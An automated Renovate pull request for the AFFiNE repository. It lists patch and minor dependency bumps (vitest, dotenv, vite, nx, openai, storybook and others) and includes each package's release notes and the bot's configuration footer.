| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui )) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/@vitest%2fui/2.1.6/2.1.8 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv ) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [dotenv](https://redirect.github.com/motdotla/dotenv ) | [`16.4.5` -> `16.4.6`](https://renovatebot.com/diffs/npm/dotenv/16.4.5/16.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [graphql-scalars](https://redirect.github.com/Urigo/graphql-scalars ) | [`1.23.0` -> `1.24.0`](https://renovatebot.com/diffs/npm/graphql-scalars/1.23.0/1.24.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [html-validate](https://html-validate.org ) ([source](https://gitlab.com/html-validate/html-validate )) | [`8.26.0` -> `8.27.0`](https://renovatebot.com/diffs/npm/html-validate/8.26.0/8.27.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [marked](https://marked.js.org ) ([source](https://redirect.github.com/markedjs/marked )) | [`15.0.2` -> `15.0.3`](https://renovatebot.com/diffs/npm/marked/15.0.2/15.0.3 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [napi](https://redirect.github.com/napi-rs/napi-rs ) | `3.0.0-alpha.20` -> `3.0.0-alpha.21` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | workspace.dependencies | patch |
| [napi-derive](https://redirect.github.com/napi-rs/napi-rs ) | `3.0.0-alpha.19` -> `3.0.0-alpha.20` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | workspace.dependencies | patch |
| [nx](https://nx.dev ) ([source](https://redirect.github.com/nrwl/nx/tree/HEAD/packages/nx )) | [`20.1.3` -> `20.1.4`](https://renovatebot.com/diffs/npm/nx/20.1.3/20.1.4 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [openai](https://redirect.github.com/openai/openai-node ) | [`4.73.1` -> `4.74.0`](https://renovatebot.com/diffs/npm/openai/4.73.1/4.74.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [react-day-picker](https://daypicker.dev ) ([source](https://redirect.github.com/gpbl/react-day-picker )) | [`9.4.0` -> `9.4.1`](https://renovatebot.com/diffs/npm/react-day-picker/9.4.0/9.4.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [react-i18next](https://redirect.github.com/i18next/react-i18next ) | [`15.1.2` -> `15.1.3`](https://renovatebot.com/diffs/npm/react-i18next/15.1.2/15.1.3 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [react-virtuoso](https://virtuoso.dev/ ) ([source](https://redirect.github.com/petyosi/react-virtuoso )) | [`4.12.2` -> `4.12.3`](https://renovatebot.com/diffs/npm/react-virtuoso/4.12.2/4.12.3 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [storybook](https://redirect.github.com/storybookjs/storybook/tree/next/code/lib/cli ) ([source](https://redirect.github.com/storybookjs/storybook/tree/HEAD/code/lib/cli )) | [`8.4.5` -> `8.4.6`](https://renovatebot.com/diffs/npm/storybook/8.4.5/8.4.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [tinybench](https://redirect.github.com/tinylibs/tinybench ) | [`3.0.6` -> `3.0.7`](https://renovatebot.com/diffs/npm/tinybench/3.0.6/3.0.7 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [typedoc](https://typedoc.org ) ([source](https://redirect.github.com/TypeStrong/TypeDoc )) | [`0.27.1` -> `0.27.2`](https://renovatebot.com/diffs/npm/typedoc/0.27.1/0.27.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [vite](https://vite.dev ) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite )) | [`6.0.1` -> `6.0.2`](https://renovatebot.com/diffs/npm/vite/6.0.1/6.0.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | resolutions | patch |
| [vitest](https://redirect.github.com/vitest-dev/vitest ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/vitest )) | [`2.1.6` -> `2.1.8`](https://renovatebot.com/diffs/npm/vitest/2.1.6/2.1.8 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [com.android.tools.build:gradle](https://developer.android.com/studio/build ) ([source](https://android.googlesource.com/platform/tools/base )) | `8.7.2` -> `8.7.3` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
---
### Release Notes
<details>
<summary>aws/aws-sdk-js-v3 (@​aws-sdk/client-s3)</summary>
### [`v3.703.0`](https://redirect.github.com/aws/aws-sdk-js-v3/blob/HEAD/clients/client-s3/CHANGELOG.md#37030-2024-12-02 )
[Compare Source](https://redirect.github.com/aws/aws-sdk-js-v3/compare/v3.701.0...v3.703.0 )
##### Features
- **client-s3:** Amazon S3 introduces support for AWS Dedicated Local Zones ([a4b4303](a4b43038cb ))
</details>
<details>
<summary>getsentry/sentry-javascript (@​sentry/react)</summary>
### [`v8.42.0`](https://redirect.github.com/getsentry/sentry-javascript/releases/tag/8.42.0 )
[Compare Source](https://redirect.github.com/getsentry/sentry-javascript/compare/8.41.0...8.42.0 )
##### Important Changes
- **feat(react): React Router v7 support (library) ([#​14513](https://redirect.github.com/getsentry/sentry-javascript/pull/14513 ))**
This release adds support for [React Router v7 (library mode)](https://reactrouter.com/home#react-router-as-a-library ).
Check out the docs on how to set up the integration: [Sentry React Router v7 Integration Docs](https://docs.sentry.io/platforms/javascript/guides/react/features/react-router/v7/ )
##### Deprecations
- **feat: Warn about source-map generation ([#​14533](https://redirect.github.com/getsentry/sentry-javascript/pull/14533 ))**
In the next major version of the SDK we will change how source maps are generated when the SDK is added to an application.
Currently, the implementation varies a lot between different SDKs and can be difficult to understand.
Moving forward, our goal is to turn on source maps for every framework, unless we detect that they are explicitly turned off.
Additionally, if we end up enabling source maps, we will emit a log message that we did so.
With this particular release, we are emitting warnings that source map generation will change in the future and we print instructions on how to prepare for the next major.
- **feat(nuxt): Deprecate `tracingOptions` in favor of `vueIntegration` ([#​14530](https://redirect.github.com/getsentry/sentry-javascript/pull/14530 ))**
Currently it is possible to configure tracing options in two places in the Sentry Nuxt SDK:
- In `Sentry.init()`
- Inside `tracingOptions` in `Sentry.init()`
For tree-shaking purposes and alignment with the Vue SDK, it is now recommended to instead use the newly exported `vueIntegration()` and its `tracingOptions` option to configure tracing options in the Nuxt SDK:
```ts
// sentry.client.config.ts
import * as Sentry from '@​sentry/nuxt';
Sentry.init({
// ...
integrations: [
Sentry.vueIntegration({
tracingOptions: {
trackComponents: true,
},
}),
],
});
```
##### Other Changes
- feat(browser-utils): Update `web-vitals` to v4.2.4 ([#​14439](https://redirect.github.com/getsentry/sentry-javascript/pull/14439 ))
- feat(nuxt): Expose `vueIntegration` ([#​14526](https://redirect.github.com/getsentry/sentry-javascript/pull/14526 ))
- fix(feedback): Handle css correctly in screenshot mode ([#​14535](https://redirect.github.com/getsentry/sentry-javascript/pull/14535 ))
#### Bundle size 📦
| Path | Size |
| ---------------------------------------------------------------- | ----------------- |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) | 23.1 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) - with treeshaking flags | 21.84 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing) | 35.61 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay) | 72.47 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay) - with treeshaking flags | 62.96 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay with Canvas) | 76.79 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Tracing, Replay, Feedback) | 89.28 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. Feedback) | 39.86 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. sendFeedback) | 27.72 KB |
| [@​sentry/browser](https://redirect.github.com/sentry/browser ) (incl. FeedbackAsync) | 32.53 KB |
| [@​sentry/react](https://redirect.github.com/sentry/react ) | 25.8 KB |
| [@​sentry/react](https://redirect.github.com/sentry/react ) (incl. Tracing) | 38.49 KB |
| [@​sentry/vue](https://redirect.github.com/sentry/vue ) | 27.25 KB |
| [@​sentry/vue](https://redirect.github.com/sentry/vue ) (incl. Tracing) | 37.38 KB |
| [@​sentry/svelte](https://redirect.github.com/sentry/svelte ) | 23.25 KB |
| CDN Bundle | 24.32 KB |
| CDN Bundle (incl. Tracing) | 37.29 KB |
| CDN Bundle (incl. Tracing, Replay) | 72.15 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) | 77.49 KB |
| CDN Bundle - uncompressed | 71.45 KB |
| CDN Bundle (incl. Tracing) - uncompressed | 110.76 KB |
| CDN Bundle (incl. Tracing, Replay) - uncompressed | 223.83 KB |
| CDN Bundle (incl. Tracing, Replay, Feedback) - uncompressed | 237.05 KB |
| [@​sentry/nextjs](https://redirect.github.com/sentry/nextjs ) (client) | 38.78 KB |
| [@​sentry/sveltekit](https://redirect.github.com/sentry/sveltekit ) (client) | 36.14 KB |
| [@​sentry/node](https://redirect.github.com/sentry/node ) | 135.08 KB |
| [@​sentry/node](https://redirect.github.com/sentry/node ) - without tracing | 97.13 KB |
| [@​sentry/aws-serverless](https://redirect.github.com/sentry/aws-serverless ) | 109.43 KB |
</details>
<details>
<summary>storybookjs/storybook (@​storybook/addon-essentials)</summary>
### [`v8.4.6`](https://redirect.github.com/storybookjs/storybook/blob/HEAD/CHANGELOG.md#846 )
[Compare Source](https://redirect.github.com/storybookjs/storybook/compare/v8.4.5...v8.4.6 )
- Addon Test: Use pathe for better windows support - [#​29676](https://redirect.github.com/storybookjs/storybook/pull/29676 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Angular: Default to standalone components in Angular v19 - [#​29677](https://redirect.github.com/storybookjs/storybook/pull/29677 ), thanks [@​ingowagner](https://redirect.github.com/ingowagner )!
- Frameworks: Add Vite 6 support - [#​29710](https://redirect.github.com/storybookjs/storybook/pull/29710 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Portable stories: Support multiple annotation notations from preview - [#​29733](https://redirect.github.com/storybookjs/storybook/pull/29733 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- React: Upgrade react-docgen-typescript to support Vite 6 - [#​29724](https://redirect.github.com/storybookjs/storybook/pull/29724 ), thanks [@​yannbf](https://redirect.github.com/yannbf )!
- Svelte: Support `@sveltejs/vite-plugin-svelte` v5 - [#​29731](https://redirect.github.com/storybookjs/storybook/pull/29731 ), thanks [@​JReinhold](https://redirect.github.com/JReinhold )!
</details>
<details>
<summary>vitest-dev/vitest (@​vitest/coverage-istanbul)</summary>
### [`v2.1.8`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v2.1.8 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8 )
##### 🐞 Bug Fixes
- Support Node 21 - by [@​sheremet-va](https://redirect.github.com/sheremet-va ) [<samp>(92f7a)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92f7a2ad )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.7...v2.1.8 )
### [`v2.1.7`](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v2.1.6...v2.1.7 )
</details>
<details>
<summary>motdotla/dotenv (dotenv)</summary>
### [`v16.4.6`](https://redirect.github.com/motdotla/dotenv/blob/HEAD/CHANGELOG.md#1646-2024-12-02 )
[Compare Source](https://redirect.github.com/motdotla/dotenv/compare/v16.4.5...v16.4.6 )
##### Changed
- Clean up stale dev dependencies [#​847](https://redirect.github.com/motdotla/dotenv/pull/847 )
- Various README updates clarifying usage and alternative solutions using [dotenvx](https://redirect.github.com/dotenvx/dotenvx )
</details>
<details>
<summary>Urigo/graphql-scalars (graphql-scalars)</summary>
### [`v1.24.0`](https://redirect.github.com/Urigo/graphql-scalars/blob/HEAD/CHANGELOG.md#1240 )
[Compare Source](https://redirect.github.com/Urigo/graphql-scalars/compare/v1.23.0...v1.24.0 )
##### Minor Changes
- [`e5a3910`](e5a39101db )
Thanks [@​ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu )! - add GeoJSON scalar
- [`e5a3910`](e5a39101db )
Thanks [@​ifeanyi-ugwu](https://redirect.github.com/ifeanyi-ugwu )! - Add \`CountryName\` scalar
</details>
<details>
<summary>html-validate/html-validate (html-validate)</summary>
### [`v8.27.0`](https://gitlab.com/html-validate/html-validate/blob/HEAD/CHANGELOG.md#8270-2024-11-30 )
[Compare Source](https://gitlab.com/html-validate/html-validate/compare/v8.26.0...v8.27.0 )
##### Features
- **api:** deprecate `Config.init()` ([d4b5987](d4b5987a92 ))
- **config:** lazy load transformers ([d82bc57](d82bc57d3d )), closes [#​194](https://gitlab.com/html-validate/html-validate/issues/194 )
</details>
<details>
<summary>markedjs/marked (marked)</summary>
### [`v15.0.3`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.3 )
[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.2...v15.0.3 )
##### Bug Fixes
- update punctuation regex syntax to fix babel mistaken transpile ([#​3547](https://redirect.github.com/markedjs/marked/issues/3547 )) ([9b988c4](9b988c47bd ))
</details>
<details>
<summary>napi-rs/napi-rs (napi)</summary>
### [`v3.0.0-alpha.21`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.21 )
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21 )
#### What's Changed
- feat(napi): allow us to create nest function from closure by [@​richerfu](https://redirect.github.com/richerfu ) in [https://github.com/napi-rs/napi-rs/pull/2360 ](https://redirect.github.com/napi-rs/napi-rs/pull/2360 )
- feat(napi): implement `ValidateNapiValue` for HashMap with any hasher by [@​sapphi-red](https://redirect.github.com/sapphi-red ) in [https://github.com/napi-rs/napi-rs/pull/2374 ](https://redirect.github.com/napi-rs/napi-rs/pull/2374 )
- feat(napi): implement `ValidateNapiValue` for HashSet with any hasher by [@​sapphi-red](https://redirect.github.com/sapphi-red ) in [https://github.com/napi-rs/napi-rs/pull/2377 ](https://redirect.github.com/napi-rs/napi-rs/pull/2377 )
**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21
</details>
<details>
<summary>nrwl/nx (nx)</summary>
### [`v20.1.4`](https://redirect.github.com/nrwl/nx/releases/tag/20.1.4 )
[Compare Source](https://redirect.github.com/nrwl/nx/compare/20.1.3...20.1.4 )
#### 20.1.4 (2024-11-28)
##### 🚀 Features
- **misc:** replace tutorials with social links in create-nx-workspace ([#​29085](https://redirect.github.com/nrwl/nx/pull/29085 ))
- **nx-dev:** update top-level navbar ([0f330590b7](https://redirect.github.com/nrwl/nx/commit/0f330590b7 ))
##### 🩹 Fixes
- **angular:** ngrx-root-store generator check ngModule path ([#​29068](https://redirect.github.com/nrwl/nx/pull/29068 ))
- **core:** don't generate nxCloudId if running nx connect through nx console ([#​29060](https://redirect.github.com/nrwl/nx/pull/29060 ))
- **core:** update to the async version of getting powerpack information ([#​29088](https://redirect.github.com/nrwl/nx/pull/29088 ))
- **misc:** update artifact generator option descriptions and cleanup leftovers ([#​29077](https://redirect.github.com/nrwl/nx/pull/29077 ))
- **module-federation:** use 'hoisted' runtime for node to prevent issues with eager sharing ([#​29104](https://redirect.github.com/nrwl/nx/pull/29104 ))
- **nest:** Fix generators (guard, interceptor etc...) path to not duplicate when provided ([#​29084](https://redirect.github.com/nrwl/nx/pull/29084 ))
- **nest:** update project config to enable artifacts to be built as dev ([#​29110](https://redirect.github.com/nrwl/nx/pull/29110 ))
- **nextjs:** ensure next apps config is correctly checked when using jest ([#​29066](https://redirect.github.com/nrwl/nx/pull/29066 ))
- **nextjs:** Add support for next.config.ts for executors ([#​29071](https://redirect.github.com/nrwl/nx/pull/29071 ))
##### ❤️ Thank You
- Colum Ferry [@​Coly010](https://redirect.github.com/Coly010 )
- Jason Jean [@​FrozenPandaz](https://redirect.github.com/FrozenPandaz )
- Juri [@​juristr](https://redirect.github.com/juristr )
- Leosvel Pérez Espinosa [@​leosvelperez](https://redirect.github.com/leosvelperez )
- MaxKless [@​MaxKless](https://redirect.github.com/MaxKless )
- Nicholas Cunningham [@​ndcunningham](https://redirect.github.com/ndcunningham )
</details>
<details>
<summary>openai/openai-node (openai)</summary>
### [`v4.74.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4740-2024-12-02 )
[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0 )
Full Changelog: [v4.73.1...v4.74.0](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0 )
##### Features
- **internal:** make git install file structure match npm ([#​1204](https://redirect.github.com/openai/openai-node/issues/1204 )) ([e7c4c6d](e7c4c6d23a ))
</details>
<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>
### [`v9.4.1`](https://redirect.github.com/gpbl/react-day-picker/releases/tag/v9.4.1 )
[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1 )
This release improves support for screen readers and fixes a VoiceOver issue when navigating the calendar.
#### What's Changed
- fix(a11y): improve screen reader and VoiceOver support by [@​gpbl](https://redirect.github.com/gpbl ) in [https://github.com/gpbl/react-day-picker/pull/2609 ](https://redirect.github.com/gpbl/react-day-picker/pull/2609 )
- feat(a11y): added `role` and `aria-label` props by [@​gpbl](https://redirect.github.com/gpbl ) in [https://github.com/gpbl/react-day-picker/pull/2609 ](https://redirect.github.com/gpbl/react-day-picker/pull/2609 )
- chore(style): remove unused CSS variable by [@​gpbl](https://redirect.github.com/gpbl ) in [https://github.com/gpbl/react-day-picker/pull/2610 ](https://redirect.github.com/gpbl/react-day-picker/pull/2610 )
- chore: use callbacks for dropdown event handlers by [@​gpbl](https://redirect.github.com/gpbl ) in [https://github.com/gpbl/react-day-picker/pull/2602 ](https://redirect.github.com/gpbl/react-day-picker/pull/2602 )
**Full Changelog**: https://github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1
</details>
<details>
<summary>i18next/react-i18next (react-i18next)</summary>
### [`v15.1.3`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1513 )
[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.2...v15.1.3 )
- fix: Self-closing REACT components in translation strings should not attempt to replace the component's children [1815](https://redirect.github.com/i18next/react-i18next/issues/1815 ) [1816](https://redirect.github.com/i18next/react-i18next/pull/1816 )
</details>
<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>
### [`v4.12.3`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/v4.12.3 )
[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.2...v4.12.3 )
##### Bug Fixes
- **gridSystem.ts:** call onEndReached when the data is less than cont… ([#​1166](https://redirect.github.com/petyosi/react-virtuoso/issues/1166 )) ([7a80ea2](7a80ea20b1 ))
</details>
<details>
<summary>tinylibs/tinybench (tinybench)</summary>
### [`v3.0.7`](https://redirect.github.com/tinylibs/tinybench/releases/tag/v3.0.7 )
[Compare Source](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7 )
##### 🐞 Bug Fixes
- Do not allow task override by name - by [@​jerome-benoit](https://redirect.github.com/jerome-benoit ) in [https://github.com/tinylibs/tinybench/issues/197 ](https://redirect.github.com/tinylibs/tinybench/issues/197 ) [<samp>(b40fe)</samp>](https://redirect.github.com/tinylibs/tinybench/commit/b40fedb )
##### [View changes on GitHub](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7 )
</details>
<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>
### [`v0.27.2`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0272-2024-11-29 )
[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.1...v0.27.2 )
##### Bug Fixes
- Fix crash with TypeScript 5.5.x, [#​2789](https://redirect.github.com/TypeStrong/TypeDoc/issues/2789 ).
</details>
<details>
<summary>vitejs/vite (vite)</summary>
### [`v6.0.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small602-2024-12-02-small )
[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.1...v6.0.2 )
- chore: run typecheck in unit tests ([#​18858](https://redirect.github.com/vitejs/vite/issues/18858 )) ([49f20bb](49f20bb777 )), closes [#​18858](https://redirect.github.com/vitejs/vite/issues/18858 )
- chore: update broken links in changelog ([#​18802](https://redirect.github.com/vitejs/vite/issues/18802 )) ([cb754f8](cb754f8acc )), closes [#​18802](https://redirect.github.com/vitejs/vite/issues/18802 )
- chore: update broken links in changelog ([#​18804](https://redirect.github.com/vitejs/vite/issues/18804 )) ([47ec49f](47ec49ffa1 )), closes [#​18804](https://redirect.github.com/vitejs/vite/issues/18804 )
- fix: don't store temporary vite config file in `node_modules` if deno ([#​18823](https://redirect.github.com/vitejs/vite/issues/18823 )) ([a20267b](a20267bb93 )), closes [#​18823](https://redirect.github.com/vitejs/vite/issues/18823 )
- fix(css): referencing aliased svg asset with lightningcss enabled errored ([#​18819](https://redirect.github.com/vitejs/vite/issues/18819 )) ([ae68958](ae68958691 )), closes [#​18819](https://redirect.github.com/vitejs/vite/issues/18819 )
- fix(manifest): use `style.css` as a key for the style file for `cssCodesplit: false` ([#​18820](https://redirect.github.com/vitejs/vite/issues/18820 )) ([ec51115](ec51115255 )), closes [#​18820](https://redirect.github.com/vitejs/vite/issues/18820 )
- fix(optimizer): resolve all promises when cancelled ([#​18826](https://redirect.github.com/vitejs/vite/issues/18826 )) ([d6e6194](d6e6194706 )), closes [#​18826](https://redirect.github.com/vitejs/vite/issues/18826 )
- fix(resolve): don't set builtinModules to `external` by default ([#​18821](https://redirect.github.com/vitejs/vite/issues/18821 )) ([2250ffa](2250ffac62 )), closes [#​18821](https://redirect.github.com/vitejs/vite/issues/18821 )
- fix(ssr): set `ssr.target: 'webworker'` defaults as fallback ([#​18827](https://redirect.github.com/vitejs/vite/issues/18827 )) ([b39e696](b39e69638b )), closes [#​18827](https://redirect.github.com/vitejs/vite/issues/18827 )
- feat(css): format lightningcss error ([#​18818](https://redirect.github.com/vitejs/vite/issues/18818 )) ([dac7992](dac7992e87 )), closes [#​18818](https://redirect.github.com/vitejs/vite/issues/18818 )
- refactor: make properties of ResolvedServerOptions and ResolvedPreviewOptions required ([#​18796](https://redirect.github.com/vitejs/vite/issues/18796 )) ([51a5569](51a5569e66 )), closes [#​18796](https://redirect.github.com/vitejs/vite/issues/18796 )
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions ) if that's undesired.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 06:31:13 +00:00